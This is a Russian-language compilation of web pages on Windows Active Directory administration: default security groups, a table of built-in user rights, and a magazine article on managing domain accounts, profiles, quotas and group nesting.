Повышаем пользовательские привилегии в Windows. Builtin пользователи что это

Active Directory. Группы по умолчанию

В Windows Server создаётся множество локальных групп по умолчанию. Рассмотрим те из них, которым предоставлены права, связанные с управлением Active Directory.

Администраторы предприятия (Enterprise Admins) в контейнере Users корневого домена леса. Эта группа - член группы Администраторы (Administrators) в каждом домене леса; она предоставляет полный доступ к конфигурации всех контроллеров домена. Данная группа также является владельцем раздела Конфигурация каталога и имеет полный доступ к содержимому именования домена во всех доменах леса.
Администраторы схемы (Schema Admins) в контейнере Users корневого домена леса. Эта группа имеет полный доступ к схеме AD.
Администраторы (Administrators) в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы в корневом домене леса может изменять членство в группах Администраторы предприятия, Администраторы схемы и Администраторы домена. Группа Администраторы в корневом домене леса имеет наибольшие полномочия среди групп администрирования в лесу.

Администраторы домена (Domain Admins) в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена.
Операторы сервера (Server Operators) в контейнере Builtin каждого домена. Эта группа может решать задачи технической поддержки на контроллерах домена. Операторы сервера могут локально входить в систему, запускать и останавливать службы, выполнять резервное копирование и восстановление, форматировать диски, создавать и удалять общие ресурсы, а также завершать работу контроллеров доменов. По умолчанию данная группа не содержит членов.
Операторы учета (Account Operators) в контейнере Builtin каждого домена. Эта группа может создавать, модифицировать и удалять учетные записи пользователей, групп и компьютеров в любом подразделении домена (кроме Domain Controllers), а также в контейнерах Users и Computers. Операторы учета не могут модифицировать учетные записи, включенные в группы Администраторы и Администраторы домена, а также не могут модифицировать эти группы. Операторы учета также могут локально входить на контроллеры домена. По умолчанию эта группа не содержит членов.

Операторы архива (Backup Oprators) в контейнере Builtin каждого домена. Эта группа может выполнять операции резервного копирования и восстановления на контроллерах домена, а также локально входить на КД и завершать их работу. По умолчанию не содержит членов.
Операторы печати (Print Operators) в контейнере Builtn каждого домена. Может обеспечивать поддержку очередей заданий печати на КД. Также может локально входить на КД и завершать их работу.

Следует с осторожностью относиться к группам по умолчанию, т.к. они как правило имеют более обширные полномочия, чем требуется для большинства делегированных сред, а также применяют защиту своих членов. Например, Операторы учета - защищенная группа. Снять защиту таких групп невозможно. Если пользователь становится членом защищенной группы, модифицируются его списки контроля доступа и они больше не наследуют разрешения своих подразделений. Поэтому рекомендуется не добавлять пользователей в группы, которые по умолчанию не содержат членов.

Информация из книги "Настройка Active Directory Windows Server 2008".

Ссылки:AD. Группы по умолчаниюЛокальные группы по умолчанию

www.bubnovd.net

Группы по умолчанию в Active Directory — Мысли вслух

После установки роли AD на Windows Server появляются несколько стандартных групп безопасности, которые в основном связаны с управлением Active Directory. Какие же группы создаются?

1) Администраторы предприятия (Enterprise Admins) – находится в контейнере Users корневого домена леса. Эта группа – член группы Администраторы (Administrators) в каждом домене леса; она представляет полный доступ к конфигурации всех контроллеров домена. Данная группа также является владельцем раздела Конфигурация (Configuration) каталога и имеет полный доступ к содержимому именования домена во всех доменах леса.

2) Администраторы схемы (Schema Admins) – находится в контейнере Users корневого домена леса. Эта группа имеет полный доступ к схеме Active Directory.

3) Администраторы (Administrators) – находится в контейнере Builtin каждого домена. Эта группа имеет полный доступ ко всем контроллерам домена и данным в контексте именования домена. Она может изменять членство во всех административных группах домена, а группа Администраторы (Administrators) в корневом домене леса может изменять членство в группах Администраторы предприятия (Enterprise Admins), Администраторы Схемы (Schema Admins) и Администраторы домена (Domain Admins). Группа Администраторы в корневом домене леса имеет наибольшие полномочия среди групп администрирования в лесу.

4) Администраторы домена (Domain Admins) – находится в контейнере Users каждого домена. Эта группа входит в группу Администраторы своего домена. Поэтому она наследует все полномочия группы Администраторы. Кроме того, она по умолчанию входит в локальную группу Администраторы каждого рядового компьютера домена, в результате чего администраторы домена получают в свое распоряжение все компьютеры домена.

5) Операторы сервера (Server Operators) – находится в контейнере Builtin каждого домена. Эта группа может решать задачи технической поддержки на контроллерах домена. Операторы сервера могут локально входить в систему, запускать и останавливать службы, выполнять резервное копирование и восстановление, форматировать диски, создавать и удалять общие ресурсы, а также завершать работу контроллеров доменов. По умолчанию данная группа не содержит членов.

6) Операторы учета (Account Operators) – находится в контейнере Builtin каждого домена. Эта группа может создавать, модифицировать и удалять учетные записи пользователей, групп и компьютеров в любом подразделении домена (кроме подразделения Domain Controllers), а также в контейнерах Users и Computers. Операторы учета не могут модифицировать учетные записи, включенные в группы Администраторы и Администраторы домена, а также не могут модифицировать эти группы. Операторы учета также могут локально входить на контроллеры домена. По умолчанию эта группа не содержит членов.

7) Операторы архива (Backup Operators) – находится в контейнере Builtin каждого домена. Эта группа может выполнять операции резервного копирования и восстановления на контроллерах домена, а также локально входить на контроллеры домена и завершать их работу. По умолчанию эта группа не содержит членов.

8 ) Операторы печати (Print Operators) – находится в контейнере Builtin каждого домена. Эта группа может обеспечивать поддержку очередей заданий печати на контроллерах домена. Она также может локально входить на контроллеры домена и завершать их работу.

onix.me

Права и привилегии встроенных групп в Active Directory

Привилегия Описание Значение по умолчанию

Функционирование в виде части операционной системы	Позволяет процессу олицетворять любого пользователя без проверки подлинности. Таким образом, процесс может получить доступ к тем же локальным ресурсам, что и пользователь.Процессы, требующие эту привилегию, вместо использования отдельной учетной записи пользователя со специально назначенной привилегией должны применять учетную запись «Локальная система», которая уже содержит эту привилегию. Эта привилегия назначается пользователям, только если на серверах организации запущены Windows 2000 или Windows NT 4.0 и используются приложения с паролями в виде обычного текста.	«Локальная система»
Добавление рабочих станций в домен	Определяет группы или пользователей, которые могут добавлять рабочие станции в домен.Это право пользователя используется только для контроллеров доменов. По умолчанию это право имеет любой прошедший проверки подлинности пользователь; он также может создавать до 10 учетных записей компьютера в домене. Благодаря добавлению учетной записи в домен, компьютер распознает учетные записи и группы, существующие в доменной службе Active Directory (AD DS).	Контроллеры домена. «Прошедшие проверку»
Настройка квот памяти для процесса	Определяет пользователей, которые могут изменять максимальный объем памяти, используемый процессом.Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	«Администраторы»
Архивирование файлов и каталогов	Определяет пользователей, которые могут обойти разрешения на файлы, каталоги, реестр и другие постоянные объекты при резервном копировании системы.	«Администраторы» и «Операторы архива»
Обход перекрестной проверки	Определяет, какие пользователи могут производить обзор деревьев каталога, даже если у этих пользователей отсутствуют разрешения на каталог. Эта привилегия не позволяет пользователям просматривать содержимое каталога, а позволяет только выполнять обзор.Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	Рабочие станции и серверы. «Администраторы», «Операторы архива», «Опытные пользователи», «Пользователи», «Все»Контроллеры домена. «Администраторы» и «Прошедшие проверку»
Изменение системного времени	Определяет пользователей и группы, которые могут изменять время и дату на внутренних часах компьютера. Пользователи, имеющие данное право, могут изменять внешний вид журналов событий. При изменении системного времени регистрируемые события будут отображать новое время, а не фактическое время возникновения события.Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	Рабочие станции и серверы. «Администраторы« и «Опытные пользователи»Контроллеры домена. «Администраторы» и «Операторы сервера»
Создание файла подкачки	Позволяет создавать файл подкачки и изменять его размер. Для этого в группе Параметры быстродействия на вкладке Дополнительно диалогового окнаСвойства системы следует указать размер файла подкачки для определенного диска.	«Администраторы»
Создание объекта типа токен	Позволяет процессу создавать токен, который затем может использоваться для доступа к любому локальному ресурсу при применении NtCreateToken() или других API, создающих токен.Процессы, требующие эту учетную запись, вместо использования отдельной учетной записи пользователя со специально назначенной привилегией должны применять учетную запись «Локальная система», которая уже содержит эту привилегию.	Нет
Создание глобальных объектов	Определяет учетные записи, которые могут создавать глобальные объекты в сеансе служб терминалов или служб удаленного рабочего стола.	«Администраторы» и «Локальная система»
Создание постоянных общих объектов	Позволяет процессу создавать объект каталога в диспетчере объектов операционной системы. Эта привилегия полезна для работающих в режиме ядра компонентов, расширяющих пространство имен объекта. Компоненты, работающие в режиме ядра, уже имеют эту привилегию, поэтому назначать ее не нужно.	Нет
Отладка программ	Определяет пользователей, которые могут прикреплять отладчик к любому процессу или ядру. Разработчикам, выполняющим отладку собственных приложений, это право назначать не нужно. Это право следует назначить разработчикам, выполняющим отладку новых системных компонентов. Это право предоставляет полный доступ к важным компонентам операционной системы.	«Администраторы» и «Локальная система»
Разрешение доверия к учетным записям компьютеров и пользователей при делегировании	Определяет пользователей, которые могут устанавливать параметр Делегирование разрешено в объекте пользователя или компьютера.Пользователь или объект, получившие это право, должны иметь доступ на запись к управляющим флагам учетной записи объекта пользователя или компьютера. Серверный процесс, выполняемый на компьютере (или в пользовательском контексте), которому разрешено делегирование, может получить доступ к ресурсам другого компьютера, используя делегированные учетные данные клиента, пока в учетной записи клиента не будет установлен управляющий флаг Учетная запись не может быть делегирована. Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	Контроллеры домена. «Администраторы»
Принудительное удаленное завершение работы	Определяет, кому из пользователей разрешено удаленное завершение работы компьютера. Неправильное применение этого права пользователя может стать причиной отказа в обслуживании.Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	Рабочие станции и серверы. «Администраторы»Контроллеры домена. «Администраторы» и «Операторы сервера»
Создание аудитов безопасности	Определяет, какие учетные записи могут быть использованы процессом для добавления записей в журнал безопасности. Журнал безопасности используется для отслеживания несанкционированного доступа в систему. Неправильное применение этого права пользователя может стать причиной формирования множества событий аудита, которые могут скрыть свидетельства атаки или вызвать отказ в обслуживании, если включен параметр безопасности Аудит: немедленное отключение системы, если невозможно внести в журнал записи об аудите безопасности. Дополнительные сведения см. в разделе Аудит: немедленное отключение системы, если невозможно внести в журнал записи об аудите безопасности (страница может быть на английском языке)(http://go.microsoft.com/fwlink/?LinkId=136299).	«Локальная система»
Олицетворение клиента после проверки подлинности	Определяет учетные записи, разрешенные для олицетворения других учетных записей.	«Администраторы» и «Служба»
Увеличение приоритета выполнения	Определяет, какие учетные записи могут использовать процесс, имеющий право доступа «Запись свойства» для другого процесса, для увеличения приоритета выполнения, назначенного другому процессу. Пользователь, имеющий данную привилегию, может изменять приоритет выполнения процесса через пользовательский интерфейс диспетчера задач.	«Администраторы»
Загрузка и выгрузка драйверов устройств	Определяет, кто из пользователей может динамически загружать и выгружать драйверы устройств или другой код в режиме ядра. Данное пользовательское право не применяется к драйверам устройств Plug and Play. Поскольку драйверы устройств выполняются как доверенные (или с высокими привилегиями) программы, не назначайте эту привилегию другим пользователям. Вместо этого используйте API StartService().	«Администраторы»
Блокировка страниц в памяти	Определяет, какие учетные записи могут использовать процессы для сохранения данных в физической памяти для предотвращения сброса этих данных в виртуальную память на диске. Применение этой привилегии может существенно повлиять на производительность системы, снижая объем доступной оперативной памяти (ОЗУ).	Нет; некоторые системные процессы имеют эту привилегию изначально
Управление аудитом и журналом безопасности	Определяет, кто из пользователей может указывать параметры аудита доступа к объектам для отдельных ресурсов, таких как файлы, объекты Active Directory и разделы реестра.Данный параметр безопасности не позволяет пользователю включить аудит доступа к файлам и объектам в целом. Для включения такого аудита нужно настроить параметр доступа к объекту «Аудит» в пути «Конфигурация компьютера\Параметры Windows\Параметры безопасности\Локальные политики\Политики аудита». Дополнительные сведения см. в статье Доступ к объекту «Аудит» (страница может быть на английском языке) http://go.microsoft.com/fwlink/?LinkId=136283. События аудита можно просмотреть в журнале безопасности средства просмотра событий. Пользователь с данной привилегией может также просматривать и очищать журнал безопасности.	«Администраторы»
Изменение значения параметров аппаратной среды	Определяет, кто может изменять значения параметров аппаратной среды. Переменные аппаратной среды - это параметры, сохраняемые в энергонезависимой памяти компьютеров, архитектура которых отлична от x86. Действие параметра зависит от процессора. На компьютерах архитектуры x86 единственное значение аппаратной среды, которое можно изменить назначением данного права пользователя, - это параметр Последняя удачная конфигурация, который должен изменяться только системой. В компьютерах на базе процессоров Itanium загрузочные данные хранятся в энергонезависимой памяти. Данное право пользователя требуется для выполнения программы Bootcfg.exe и изменения параметра Операционная система по умолчанию компонента Загрузка и восстановлениедиалогового окна Свойства системы. На всех компьютерах это право пользователя требуется для установки и модернизации Windows.	«Администраторы» и «Локальная система»
Профилирование одного процесса	Определяет пользователей, которые могут использовать средства мониторинга производительности для отслеживания производительности несистемных процессов.	«Администраторы», «Опытные пользователи» и «Локальная система»
Профилирование производительности системы	Определяет пользователей, которые могут использовать средства мониторинга производительности для отслеживания производительности системных процессов.	«Администраторы» и «Локальная система»
Отключение компьютера от стыковочного узла	Определяет, может ли пользователь отстыковать портативный компьютер от стыковочного узла без входа в систему.Если данная политика включена, пользователь перед отключением портативного компьютера от стыковочного узла должен войти в систему. Если данная политика отключена, пользователь может отключить портативный компьютер от стыковочного узла, не входя в систему.	Отключено
Замена токена уровня процесса	Определяет, какие учетные записи пользователей могут инициализировать процесс замены токена по умолчанию, связанного с запущенным подпроцессом.Это право пользователя определено в объекте групповой политики «Контроллер домена по умолчанию» и локальной политике безопасности рабочих станций и серверов.	«Локальная служба» и «Сетевая служба»
Восстановление файлов и каталогов	Определяет пользователей, которые могут обойти разрешения на файлы, каталоги, реестр и другие постоянные объекты при восстановлении резервных копий файлов и каталогов, а также пользователей, которые могут назначить любого действительного субъекта безопасности владельцем объекта.В частности, это право пользователя подобно предоставлению следующих разрешений пользователю или группе для всех папок и файлов в системе: Обзор папок/Выполнение файлов Запись	Рабочие станции и серверы. «Администраторы» и «Операторы архива»Контроллеры домена. «Администраторы», «Операторы архива» и «Операторы сервера»
Завершение работы системы	Определяет пользователей, которые после локального входа в систему могут завершить работу операционной системы при помощи команды Завершить работу. Неправильное применение этого права пользователя может стать причиной отказа в обслуживании.	Рабочие станции. «Администраторы», «Операторы архива», «Опытные пользователи», «Пользователи»Серверы. «Администраторы», «Операторы архива», «Опытные пользователи» Контроллеры домена. «Операторы учетных записей», «Администраторы», «Операторы архива», «Операторы сервера», «Операторы печати»
Синхронизация данных службы каталогов	Определяет пользователей и группы, которые имеют право синхронизировать все данные службы каталогов. Это также называется синхронизацией Active Directory.	Нет
Смена владельцев файлов или иных объектов	Определяет пользователей, которые могут стать владельцем любого защищаемого объекта системы, в том числе: объектов Active Directory, файлов и папок, принтеров, разделов реестра, процессов и потоков.

pyatilistnik.org

Администрирование учетных записей в домене Active Directory::Журнал СА 4.2007

Рубрика: Администрирование / Администрирование

Facebook

Twitter

Мой мир

Вконтакте

Одноклассники

Google+

Александр Емельянов

Администрирование учетных записей в домене Active Directory

Одна из важнейших задач администратора – управление локальными и доменными учетными записями: аудит, квотирование и разграничение прав пользователей в зависимости от их потребностей и политики компании. Что может предложить в этом плане Active Directory?

В продолжение цикла статей об Active Directory сегодня мы поговорим о центральном звене в процессе администрирования – управлении пользовательскими учетными данными в рамках домена. Нами будет рассмотрено:

создание учетных записей и управление ими;
типы профилей пользователей и их применение;
группы безопасности в доменах AD и их сочетания.

В конечном итоге вы сможете применить эти материалы для построения рабочей инфраструктуры либо доработки существующей, которая будет отвечать вашим требованиям.

Забегая вперед, скажу, что тема тесно связана с применением групповых политик для административных целей. Но вследствие обширности материала, посвященного им, она будет раскрыта в рамках следующей статьи.

Знакомство с Active Directory – Users and Computers

После того как вы установили свой первый контроллер в домене (тем самым вы собственно и организовали домен), в разделе «Администрирование» появляется пять новых элементов (см. рис. 1).

Рисунок 1. Новые элементы для администрирования домена

Для управления объектами AD используется Active Directory – Пользователи и компьютеры (ADUC – AD Users and Computers, см. рис. 2), которая также может быть вызвана через меню «Выполнить» посредством DSA.MSC.

Рисунок 2. Active Directory - Users and Computers

С помощью ADUC можно создавать и удалять пользователей, назначать сценарии входа для учетной записи, управлять членством в группах и групповыми политиками.

Существует также возможность для управления объектами AD без обращения к серверу напрямую. Ее обеспечивает пакет ADMINPAK.MSI, расположенный в директории «%SYSTEM_DRIVE%\Windows\system32». Развернув его на своей машине и наделив себя правами администратора домена (если таковых не было), вы сможете администрировать домен.

При открытии ADUC мы увидим ветку нашего домена, содержащую пять контейнеров и организационных единиц.

Builtin. Здесь содержатся встроенные локальные группы, которые есть на любой серверной машине, включая и контроллеры домена.
Users и Computers. Это контейнеры, в которые по умолчанию размещаются пользователи, группы и учетные записи компьютеров при установке системы поверх Windows NT. Но для создания и хранения новых учетных записей нет необходимости пользоваться только этими контейнерами, пользователя можно создать даже в контейнере домена. При включении компьютера в домен он появляется именно в контейнере Computers.
Domain Controllers. Это организационная единица (OU, Organizational Unit), содержащая по умолчанию контроллеры домена. При создании нового контроллера он появляется здесь.
ForeignSecurityPrincipals. Это контейнер по умолчанию для объектов из внешних доверяемых доменов.

Важно помнить, что объекты групповых политик привязываются исключительно к домену, OU или сайту. Это нужно учитывать при создании административной иерархии вашего домена.

Вводим компьютер в домен

Процедура выполняется непосредственно на локальной машине, которую мы хотим подключить.

Выбираем «Мой компьютер -> Свойства -> Имя компьютера», нажимаем кнопку «Изменить» и в меню «Является членом» выбираем «домена». Вводим имя домена, в который мы хотим добавить наш компьютер, и далее доказываем, что у нас есть права на добавление рабочих станций к домену, введя аутентификационные данные администратора домена.

Создаем пользователя домена

Для создания пользователя нужно выбрать любой контейнер, в котором он будет располагаться, нажать на нем правой кнопкой мыши и выбрать «Создать -> Пользователь». Откроется мастер создания пользователя. Здесь вы сможете указать множество его атрибутов, начиная с имени пользователя и временными рамками входа в домен и заканчивая настройками для терминальных служб и удаленного доступа. По завершении работы мастера вы получите нового пользователя домена.

Нужно заметить, что в процессе создания пользователя система может «ругаться» на недостаточную сложность пароля или его краткость. Смягчить требования можно, открыв «Политику безопасности домена» (Default Domain Security Settings) и далее «Параметры безопасности -> Политики учетных записей -> Политика паролей».

Пусть мы создали пользователя Иван Иванов в контейнере Users (User Logon Name: [email protected]). Если в системах NT 4 это имя играло лишь роль украшения, то в AD оно является частью имени в формате LDAP, которое целиком выглядит так:

cn="Иван Иванов", cn="Users", dc="hq", dc="local"

Здесь cn – container name, dc – domain component. Описания объектов в формате LDAP используются для выполнения сценариев WSH (Windows Script Hosts) либо для программ, использующих протокол LDAP для связи с Active Directory.

Для входа в домен Иван Иванов должен будет использовать имя в формате UPN (Universal Principal Name): [email protected]. Также в доменах AD будет понятно написание имени в старом формате NT 4 (пред Win2000), в нашем случае HQ\Ivanov.

При создании учетной записи пользователя ей автоматически присваивается идентификатор защиты (SID, Security Identifier) – уникальный номер, по которому система и определяет пользователей. Это очень важно понимать, так как при удалении учетной записи удаляется и ее SID и никогда не используется повторно. А каждая новая учетная запись будет иметь свой новый SID, именно поэтому она не сможет получить права и привилегии старой.

Учетную запись можно переместить в другой контейнер или OU, отключить или, наоборот, включить, копировать или поменять пароль. Копирование часто применяется для создания нескольких пользователей с одинаковыми параметрами.

Рабочая среда пользователя

Учетные данные, хранящиеся централизованно на сервере, позволяют пользователям однозначно идентифицировать себя в домене и получать соответствующие права и доступ к рабочей среде. Все операционные системы семейства Windows NT используют для создания рабочего окружения на клиентской машине профиль пользователя.

Локальный профиль

Рассмотрим основные составляющие профиля пользователя:

Раздел реестра, соответствующий определенному пользователю («улей» или «hive»). Фактически данные этой ветки реестра хранятся в файле NTUSER.DAT. Он располагается в папке %SYSTEMDRIVE%\Documents and Settings\User_name, которая содержит профиль пользователя. Таким образом, при входе конкретного пользователя в систему в раздел реестра HKEY_CURRENT_USER загружается «улей» NTUSER.DAT из папки, содержащей его профиль. И все изменения настроек пользовательской среды за сеанс будут сохраняться именно в этот «улей». Файл NTUSER.DAT.LOG – это журнал транзакций, который существует для защиты файла NTUSER.DAT. Однако для пользователя Default User вы вряд ли его найдете, поскольку он является шаблоном. Об этом далее. Администратор имеет возможность редактировать «улей» определенного пользователя прямо из своей рабочей среды. Для этого с помощью редактора реестра REGEDIT32 он должен загрузить «улей» в раздел HKEY_USERS, а затем после внесения изменений выгрузить его.
Папки файловой системы, содержащие файлы пользовательских настроек. Они располагаются в специальном каталоге %SYSTEMDRIVE%\Documents and Settings\User_name, где User_name – имя пользователя, вошедшего в систему. Здесь хранятся элементы рабочего стола, элементы автозагрузки, документы и др.

Если пользователь впервые входит в систему, происходит следующее:

Система проверяет, существует ли локальный профиль этого пользователя.
Не найдя его, система обращается к контроллеру домена в поиске доменного профиля по умолчанию, который должен располагаться в папке Default User на общем ресурсе NETLOGON; если система обнаружила этот профиль, он копируется локально на машину в папку %SYSTEMDRIVE%\Documents and Settings с именем пользователя, в противном случае он копируется из локальной папки %SYSTEMDRIVE%\Documents and Settings\Default User.
В раздел реестра HKEY_CURRENT_USER загружается пользовательский «улей».
При выходе из системы все изменения сохраняются локально.

В конечном итоге рабочее окружение пользователя – это объединение его рабочего профиля и профиля All Users, в котором находятся общие для всех пользователей данной машины настройки.

Теперь несколько слов о создании профиля по умолчанию для домена. Создайте фиктивный профиль на своей машине, настройте его в соответствии с вашими нуждами либо с требованиями корпоративной политики. Затем выйдите из системы и снова зайдите как администратор домена. На общем ресурсе NETLOGON-сервера создайте папку Default User. Далее при помощи вкладки User Profiles в апплете System (см. рис. 3) скопируйте ваш профиль в эту папку и предоставьте права на ее использование группе Domain Users или какой-либо другой подходящей группе безопасности. Все, профиль по умолчанию для вашего домена создан.

Рисунок 3. Вкладка «User Profiles» апплета System

Перемещаемый профиль

Active Directory как гибкая и масштабируемая технология позволяет работать в среде вашего предприятия с перемещаемыми профилями, которые мы рассмотрим далее.

Одновременно с этим будет уместным рассказать о перенаправлении папок как одной из возможностей технологии IntelliMirror для обеспечения отказоустойчивости и централизованного хранения пользовательских данных.

Перемещаемые профили хранятся на сервере. Путь к ним указывается в настройках пользователя домена (см. рис. 4).

Рисунок 4. Здесь указывается путь к перемещаемому профилю

При желании можно указать перемещаемые профили для нескольких пользователей одновременно, выделив нескольких пользователей, и в свойствах во вкладке «Профиль» указать %USERNAME% вместо папки с именем пользователя (см. рис. 5).

Рисунок 5. Путь к перемещаемым профилям нескольких пользователей

Процесс первого входа в систему пользователя, обладающего перемещаемым профилем, сродни описанному выше для локального, за некоторым исключением.

Во-первых, раз путь к профилю в объекте пользователя указан, система проверяет наличие кэшированной локальной копии профиля на машине, далее все, как было описано.

Во-вторых, по завершении работы все изменения копируются на сервер, и если групповыми политиками не указано удалять локальную копию, сохраняются на данной машине. Если же пользователь уже имел локальную копию профиля, то серверная и локальная копии профиля сравниваются, и происходит их объединение.

Технология IntelliMirror в системах Windows последних версий позволяет осуществлять перенаправление определенных папок пользователей, таких как «Мои документы», «Мои рисунки» и др., на сетевой ресурс.

Таким образом, для пользователя все проведенные изменения будут абсолютно прозрачны. Сохраняя документы в папку «Мои документы», которая заведомо будет перенаправлена на сетевой ресурс, он даже и не будет подозревать о том, что все сохраняется на сервер.

Настроить перенаправление можно как вручную для каждого пользователя, так и при помощи групповых политик.

В первом случае нужно кликнуть на иконке «Мои документы» на рабочем столе либо в меню «Пуск» правой кнопкой мыши и выбрать свойства. Дальше все предельно просто.

Во-втором случае нужно открыть групповую политику OU или домена, для которых мы хотим применить перенаправление, и раскрыть иерархию «Конфигурация пользователя ‑> Конфигурация Windows» (см. рис. 6). Далее перенаправление настраивается либо для всех пользователей, либо для определенных групп безопасности OU или домена, к которым эта групповая политика будет применяться.

Рисунок 6. Настройка перенаправления папок при помощи групповых политик

Используя перенаправление папок к работе с перемещаемыми профилями пользователей, можно добиться, например, уменьшения времени загрузки профиля. Это при условии того, что перемещаемый профиль загружается всегда с сервера без использования локальной копии.

Рассказ о технологии перенаправления папок был бы неполон без упоминания об автономных файлах. Они позволяют пользователям работать с документами даже при отсутствии подключения к сети. Синхронизация с серверными копиями документов происходит при следующем подключении компьютера к сети. Такая схема организации будет полезна, например, пользователям ноутбуков, работающих как в рамках локальной сети, так и дома.

К недостаткам перемещаемых профилей можно отнести следующее:

может возникнуть ситуация, когда, например, на рабочем столе пользователя будут существовать ярлыки некоторых программ, а на другой машине, где захочет поработать обладатель перемещаемого профиля таких программ не установлено, соответственно часть ярлыков не будет работать;
многие пользователи имеют привычку хранить документы, а также фотографии и даже видео на рабочем столе, в результате при загрузке перемещаемого профиля с сервера каждый раз создается дополнительный трафик в сети, а сам профиль загружается очень долго; для решения проблемы используйте разрешения NTFS, чтобы ограничить сохранение «мусора» на рабочем столе;
каждый раз, когда пользователь входит в систему, для него создается локальный профиль (точнее, профиль с сервера копируется локально), и если меняет рабочие машины, то на каждой из них остается такой «мусор»; этого можно избежать, настроив определенным образом групповые политики («Конфигурация компьютера -> Административные шаблоны -> System -> User Profiles», политика «Delete cached copies of roaming profiles»).

Введение уже существующего пользователя в домен

Зачастую при внедрении службы каталогов в уже существующей сети на базе рабочих групп возникает вопрос о введении пользователя в домен без потери настроек его рабочей среды. Этого можно добиться, используя перемещаемые профили.

Создайте на общем сетевом ресурсе (например, Profiles) на сервере папку с именем пользователя и задайте для нее разрешения на запись для группы Everyone. Пусть она называется HQUser, а полный путь к ней выглядит так: \\Server\Profiles\HQUser.

Создайте пользователя домена, который будет соответствовать пользователю вашей локальной сети, и в качестве пути к профилю укажите \\Server\Profiles\HQUser.

На компьютере, содержащем локальный профиль нашего пользователя, нужно войти под учетной записью администратора и при помощи вкладки User Profiles апплета System скопировать его в папку \\Server\Profiles\HQUser.

Нетрудно понять, что при следующем входе в систему под новой доменной учетной записью наш пользователь загрузит свой рабочий профиль с сервера, и администратору останется лишь решить, оставить этот профиль перемещаемым либо сделать локальным.

Квотирование

Очень часто пользователи загружают ненужной информацией сетевые диски. Чтобы избежать постоянных просьб почистить свои личные папки от ненужного мусора (почему-то он всегда оказывается нужным), можно использовать механизм квотирования. Начиная с Windows 2000 это можно делать стандартными средствами на томах NTFS.

Для включения механизма квотирования и его настройки нужно зайти в свойства локального тома и открыть вкладку «Квота» (Quota) (см. рис. 7).

Рисунок 7. Включение дисковых квот

Далее помечаем «Включить управление квотами» и настраиваем дисковые квоты по умолчанию для всех пользователей, записывающих информацию на этот том.

Также можно посмотреть данные о занимаемом пространстве на диске и настроить квоты отдельно для каждого пользователя (см. рис. 8). Система подсчитывает занимаемое место на диске, основываясь на данных о владельце объектов, суммируя объем принадлежащих ему файлов и папок.

Рисунок 8. Управление дисковыми квотами для отдельных пользователей домена

Группы пользователей в AD

Управление пользователями в рамках домена – задача несложная. Но когда нужно настроить доступ к определенным ресурсам для нескольких десятков (а то и сотен) пользователей, на раздачу прав доступа может уйти уйма времени.

А если возникает необходимость тонко разграничить права участникам нескольких доменов в рамках дерева или леса, перед администратором встает задача сродни задачам из теории множеств. На помощь здесь приходит использование групп.

Основная характеристика групп, встречающихся в рамках домена, была дана в прошлой статье [1], посвященной архитектуре службы каталогов.

Напомню, что локальные группы домена могут включать пользователей своего домена и других доменов в лесу, но область ее действия ограничивается доменом, которому она принадлежит.

Глобальные группы могут включать в себя только пользователей своего домена, но есть возможность их использования для предоставления доступа к ресурсам как в рамках своего, так и другого домена в лесу.

Универсальные группы, соответствуя своему названию, могут содержать пользователей из любого домена и использоваться также для предоставления доступа в рамках всего леса. Не важно, в рамках какого домена универсальная группа будет создана, единственное, стоит учитывать, что при ее перемещении права доступа будут теряться и их необходимо будет переназначить заново.

Чтобы понять описанное выше и основные принципы вложенности групп, рассмотрим пример. Пусть у нас есть лес, содержащий два домена HQ.local и SD.local (какой из них корневой в данном случае, не важно). Каждый из доменов содержит ресурсы, к которым нужно предоставить доступ, и пользователей (см. рис. 9).

Рисунок 9. Предоставление доступа на основе групп

Из рис. 9 видно, что к ресурсам Docs и Distrib должны иметь доступ все пользователи в лесу (зеленые и красные линии), поэтому мы можем создать универсальную группу, содержащую пользователей из обоих доменов, и использовать ее при указании разрешений на доступ к обоим ресурсам. Либо мы можем создать две глобальные группы в каждом домене, которые будут содержать пользователей только своего домена, и включить их в универсальную группу. Любую из этих глобальных групп также можно использовать для назначения прав.

Доступ к каталогу Base должны иметь пользователи только из домена HQ.local (синие линии), поэтому мы включим их в локальную доменную группу, и этой группе предоставим доступ.

Каталогом Distrib будут иметь право пользоваться как члены домена HQ.local, так и члены домена SD.local (оранжевые линии на рис. 9). Поэтому пользователей Manager и Salary мы можем добавить в глобальную группу домена HQ.local, а затем эту группу добавить в локальную группу домена SD.local вместе с пользователем IT. Затем этой локальной группе и предоставить доступ к ресурсу Distrib.

Сейчас мы рассмотрим вложенность этих групп подробнее и рассмотрим еще один тип групп – встроенные локальные доменные группы.

В таблице показано, какие группы в какие могут быть вложены. Здесь по горизонтали расположены группы, в которые вкладываются группы, расположенные по вертикали. Плюс означает, что один вид групп может быть вложен в другой, минус – нет.

На каком-то ресурсе в Интернете, посвященном сертификационным экзаменам Microsoft, я увидел упоминание о такой формуле – AGUDLP, что значит: учетные записи (Account) помещаются в глобальные группы (Global), которые помещаются в универсальные (Universal), которые помещаются в локальные доменные группы (Domain Local), к которым и применяются разрешения (Permissions). Эта формула в полной мере описывает возможность вложенности. Следует добавить, что все эти виды могут быть вложены в локальные группы отдельно взятой машины (локальные доменные исключительно в рамках своего домена).

Вложенность доменных групп

Вложенность	Локальные группы	Глобальные группы	Универсальные группы
Учетная запись	+	+	+
Локальные группы	+ (за исключением встроенных локальных групп и только в пределах собственного домена)	–	–
Глобальные группы	+	+ (только в пределах собственного домена)	+
Универсальные группы	+	–	+

Встроенные локальные доменные группы расположены в контейнере Builtin и являются фактически локальными группами машины, но только для контроллеров домена. И в отличие от локальных доменных групп из контейнера Users не могут быть перемещены в другие организационные единицы.

